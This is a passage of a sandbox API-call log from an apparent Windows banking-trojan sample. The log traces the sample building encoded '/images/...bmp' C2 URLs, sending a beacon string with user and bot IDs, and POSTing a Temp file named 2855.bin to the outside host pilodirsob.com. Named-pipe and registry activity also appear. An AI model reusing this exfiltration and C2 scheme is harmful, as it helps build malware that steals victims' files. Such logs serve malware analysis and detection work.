(lpStart="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp", wMatch=0x3f) returned 0x0 [0415.582] lstrlenA (lpString="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp") returned 246 [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1ed) returned 0x278e1e0 [0415.582] InternetCanonicalizeUrlA (in: lpszUrl="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp", lpszBuffer=0x278e1e0, lpdwBufferLength=0x317f49c, dwFlags=0x0 | out: lpszBuffer="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp", lpdwBufferLength=0x317f49c) returned 1 [0415.582] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0008 [0415.583] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x487038) returned 0x0 [0415.583] ResetEvent (hEvent=0x6f0) returned 1 [0415.583] InternetConnectA (hInternet=0xcc0008, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x278ee20) returned 0xcc000c [0415.583] SetEvent (hEvent=0x6f0) returned 1 [0415.583] HttpOpenRequestA (hConnect=0xcc000c, lpszVerb="POST", lpszObjectName="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x278ee20) returned 0xcc0010 [0415.583] InternetQueryOptionA (in: hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c | out: lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c) returned 1 [0415.583] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x317f4ac, dwBufferLength=0x4) returned 1 [0415.583] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0415.583] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0415.583] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1e0 | out: hHeap=0x2390000) returned 1 [0415.583] GetTickCount () returned 0x71bc9 [0415.583] wsprintfA (in: param_1=0x317f668, param_2="--------------------------%04x%04x%04x" | out: param_1="--------------------------119c449119c449119c449") returned 47 [0415.583] wsprintfA (in: param_1=0x317f5c4, param_2="Content-Type: multipart/form-data; boundary=%s" | out: param_1="Content-Type: multipart/form-data; boundary=--------------------------119c449119c449119c449") returned 91 [0415.583] wsprintfA (in: param_1=0x317f628, param_2="\r\n--%s--\r\n" | out: param_1="\r\n----------------------------119c449119c449119c449--\r\n") returned 55 [0415.583] lstrlenA (lpString="\r\n----------------------------119c449119c449119c449--\r\n") returned 55 [0415.583] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=--------------------------119c449119c449119c449") returned 91 [0415.583] HttpAddRequestHeadersA (hRequest=0xcc0010, lpszHeaders="Content-Type: multipart/form-data; boundary=--------------------------119c449119c449119c449", dwHeadersLength=0x5b, dwModifiers=0x20000000) returned 1 [0415.583] lstrlenA (lpString="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0415.583] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x19a) returned 0x278e1e0 [0415.584] wsprintfA (in: param_1=0x278e1e0, param_2="--%s\r\n%s\r\n%s\r\n\r\n" | out: param_1="----------------------------119c449119c449119c449\r\nContent-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n") returned 166 [0415.584] ResetEvent (hEvent=0x6f0) returned 1 [0415.584] ResetEvent (hEvent=0x728) returned 1 [0415.584] HttpSendRequestA (hRequest=0xcc0010, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x278e1e0*, dwOptionalLength=0x18d) returned 0 [0415.586] GetLastError () returned 0x3e5 [0415.586] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e0d0 | out: hHeap=0x2390000) returned 1 [0415.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f6ac*=0x6f0, bWaitAll=0, dwMilliseconds=0x1d4c0) returned 0x0 [0436.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f69c*=0x728, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0436.623] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x487038 [0436.623] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0436.623] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x487038 [0436.623] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0436.623] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x487038 [0436.623] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0436.623] CloseHandle (hObject=0x6f0) returned 1 [0436.623] CloseHandle (hObject=0x728) returned 1 [0436.623] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1e0 | out: hHeap=0x2390000) returned 1 [0436.623] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ee20 | out: hHeap=0x2390000) returned 1 [0436.623] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e018 | out: hHeap=0x2390000) returned 1 [0436.623] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x38) returned 0x278ff98 [0436.623] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x278ff98, nInBufferSize=0x38, lpOutBuffer=0x317f6b0, nOutBufferSize=0xc, lpBytesRead=0x317f6bc, nTimeOut=0x1 | out: lpOutBuffer=0x317f6b0, lpBytesRead=0x317f6bc) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ff98 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278d658 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0436.625] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0436.625] UnmapViewOfFile (lpBaseAddress=0xa40000) returned 1 [0436.626] CloseHandle (hObject=0x5b0) returned 1 [0436.626] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x400) returned 0x278f690 [0436.626] wsprintfA (in: param_1=0x278f690, param_2="SendFiles status %u\n" | out: param_1="SendFiles status 12029\n") returned 23 [0436.626] lstrlenA (lpString="SendFiles status 12029\n") returned 23 [0436.626] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0436.626] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f580 | out: hHeap=0x2390000) returned 1 [0436.626] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f470 | out: hHeap=0x2390000) returned 1 [0436.626] RegCloseKey (hKey=0x328) returned 0x0 [0436.626] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0x0) returned 0x102 [0436.626] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0701.546] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0701.546] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0701.546] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x102 [0701.546] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0x0) returned 0x102 [0701.546] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x4 [0705.549] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0705.549] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0705.549] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x0 [0705.549] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x0 [0705.549] SetWaitableTimer (hTimer=0x22c, lpDueTime=0x317f808, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0705.549] SwitchToThread () returned 0 [0705.549] ReleaseMutex (hMutex=0x230) returned 1 [0705.549] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0705.549] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x27889f8, nInBufferSize=0xc, lpOutBuffer=0x317f784, nOutBufferSize=0xc, lpBytesRead=0x317f790, nTimeOut=0x1 | out: lpOutBuffer=0x317f784, lpBytesRead=0x317f790) returned 1 [0705.551] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0705.551] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0x2710) returned 0x102 [0715.564] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x317f77c | out: phkResult=0x317f77c*=0x7a0) returned 0x0 [0715.564] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f470 [0715.564] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f580 [0715.564] RegEnumValueA (in: hKey=0x7a0, dwIndex=0x0, lpValueName=0x278f470, lpcchValueName=0x317f788, lpReserved=0x0, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794 | out: lpValueName="AECAA210A7EA5C4A0F", lpcchValueName=0x317f788, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794) returned 0x0 [0715.565] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x63c [0715.565] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0715.565] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x634 [0715.565] WriteFile (in: hFile=0x63c, lpBuffer=0x317f650*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x317f650*, lpNumberOfBytesWritten=0x317f63c*=0xc, lpOverlapped=0x317f614) returned 1 [0715.566] CloseHandle (hObject=0x634) returned 1 [0715.566] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x634 [0715.566] WriteFile (in: hFile=0x63c, lpBuffer=0x278f580*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x278f580*, lpNumberOfBytesWritten=0x317f63c*=0x5c, lpOverlapped=0x317f614) returned 1 [0715.582] CloseHandle (hObject=0x634) returned 1 [0715.582] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x634 [0715.582] ReadFile (in: hFile=0x63c, lpBuffer=0x317f64c, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x317f638, lpOverlapped=0x317f610 | out: lpBuffer=0x317f64c*, lpNumberOfBytesRead=0x317f638*=0xc, lpOverlapped=0x317f610) returned 1 [0715.582] CloseHandle (hObject=0x634) returned 1 [0715.582] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x634 [0715.582] ReadFile (in: hFile=0x63c, lpBuffer=0x317f688, nNumberOfBytesToRead=0x98, lpNumberOfBytesRead=0x317f634, lpOverlapped=0x317f60c | out: lpBuffer=0x317f688*, lpNumberOfBytesRead=0x317f634*=0x98, lpOverlapped=0x317f60c) returned 1 [0715.582] CloseHandle (hObject=0x634) returned 1 [0715.582] OpenFileMappingA (dwDesiredAccess=0x80000000, bInheritHandle=0, lpName="Local\\{F2C61CFD-A979-F476-C346-ED68A7DA711C}") returned 0x634 [0715.582] CloseHandle (hObject=0x63c) returned 1 [0715.583] MapViewOfFile (hFileMappingObject=0x634, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3) returned 0x3d0000 [0715.583] lstrlenA (lpString="AECAA210A7EA5C4A0F") returned 18 [0715.584] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0715.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2e) returned 0x278ede8 [0715.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x278ede8, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", lpUsedDefaultChar=0x0) returned 45 [0715.584] PathFindFileNameA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned="2855.bin" [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278f690 [0715.584] wsprintfA (in: param_1=0x278f690, param_2="version=%u&soft=1&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&guid=%08x%08x%08x%08x" | out: param_1="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x11) returned 0x278f2f0 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278d658 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278f310 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x7) returned 0x27889f8 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x9) returned 0x278f330 [0715.584] lstrlenA (lpString="%s=%s&") returned 6 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x15) returned 0x278f348 [0715.584] sprintf (in: _Dest=0x278f348, _Format="%s=%s&" | out: _Dest="uknjmxjr=tsuyep&") returned 16 [0715.584] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f330 | out: hHeap=0x2390000) returned 1 [0715.584] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0715.584] lstrlenA (lpString="uknjmxjr=tsuyep&") returned 16 [0715.584] lstrlenA (lpString="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x9a) returned 0x278fe98 [0715.584] strcpy (in: _Dest=0x278fe98, _Source="uknjmxjr=tsuyep&" | out: _Dest="uknjmxjr=tsuyep&") returned="uknjmxjr=tsuyep&" [0715.584] lstrcatA (in: lpString1="uknjmxjr=tsuyep&", lpString2="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="uknjmxjr=tsuyep&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="uknjmxjr=tsuyep&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" [0715.584] lstrlenA (lpString="uknjmxjr=tsuyep&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 153 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278ff40 [0715.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278de60 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ff40 | out: hHeap=0x2390000) returned 1 [0715.585] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x140) returned 0x278df08 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0715.585] StrTrimA (in: psz="micpyTcOEehAuAs7//aOLGeSfBgSpqBP8BgrEPPu7fRQkZeJOITtHsYWEqWFBZeXLDHvssfO9ri/Ib5Uzc70BiTAWZ9pW3MoyQFCUx52IDsZSb5d1NEH549uzpN+/SVPr4NvChszaTrwqyOg+Ey5XdbD687vZ8oiI0NSSiOjDkO10iDprdQviosj1zecPbeHRsDzQsJxM44j8owHTlQnrF==\n\r", pszTrimChars="\r\n=" | out: psz="micpyTcOEehAuAs7//aOLGeSfBgSpqBP8BgrEPPu7fRQkZeJOITtHsYWEqWFBZeXLDHvssfO9ri/Ib5Uzc70BiTAWZ9pW3MoyQFCUx52IDsZSb5d1NEH549uzpN+/SVPr4NvChszaTrwqyOg+Ey5XdbD687vZ8oiI0NSSiOjDkO10iDprdQviosj1zecPbeHRsDzQsJxM44j8owHTlQnrF") returned 1 [0715.585] lstrlenA (lpString="micpyTcOEehAuAs7//aOLGeSfBgSpqBP8BgrEPPu7fRQkZeJOITtHsYWEqWFBZeXLDHvssfO9ri/Ib5Uzc70BiTAWZ9pW3MoyQFCUx52IDsZSb5d1NEH549uzpN+/SVPr4NvChszaTrwqyOg+Ey5XdbD687vZ8oiI0NSSiOjDkO10iDprdQviosj1zecPbeHRsDzQsJxM44j8owHTlQnrF") returned 214 [0715.585] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x283) returned 0x278e050 [0715.585] _snprintf (in: _Dest=0x278e060, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0715.585] _snprintf (in: _Dest=0x278e063, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0715.585] _snprintf (in: _Dest=0x278e09f, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0715.585] _snprintf (in: _Dest=0x278e0d1, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0715.585] _snprintf (in: _Dest=0x278e0d4, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0715.585] _snprintf (in: _Dest=0x278e0ea, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df08 | out: hHeap=0x2390000) returned 1 [0715.585] lstrlenA (lpString="micpyTcOEehAuAs7_2F_2FaOLGeSfBgSpqBP8BgrEPPu7fRQkZeJOITtHsYWEqWFBZeXLDHvssfO9ri_2FIb5Uzc70BiTAWZ9pW3MoyQFCUx52IDsZSb5d1NEH549uzpN_2B_2FSVPr4NvChszaTrwqyOg_2BEy5XdbD687vZ8oiI0NSSiOjDkO10iDprdQviosj1zecPbeHRsDzQsJxM44j8owHTlQnrF") returned 226 [0715.585] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xff) returned 0x278fe98 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e050 | out: hHeap=0x2390000) returned 1 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f348 | out: hHeap=0x2390000) returned 1 [0715.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f310 | out: hHeap=0x2390000) returned 1 [0715.585] StrTrimA (in: psz="micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF", pszTrimChars="\r\n" | out: psz="micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF") returned 0 [0715.585] lstrlenA (lpString="/images/") returned 8 [0715.585] lstrlenA (lpString="micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF") returned 241 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xfa) returned 0x278de60 [0715.586] lstrcpyA (in: lpString1=0x278de60, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0715.586] lstrcatA (in: lpString1="/images/", lpString2="micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF" | out: lpString1="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF") returned="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF" [0715.586] lstrcpyA (in: lpString1=0x278fe98, lpString2=".bmp" | out: lpString1=".bmp") returned=".bmp" [0715.586] lstrcpyA (in: lpString1=0x278d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0715.586] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF" | out: lpString1="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF") returned="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF" [0715.586] lstrcatA (in: lpString1="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF", lpString2=".bmp" | out: 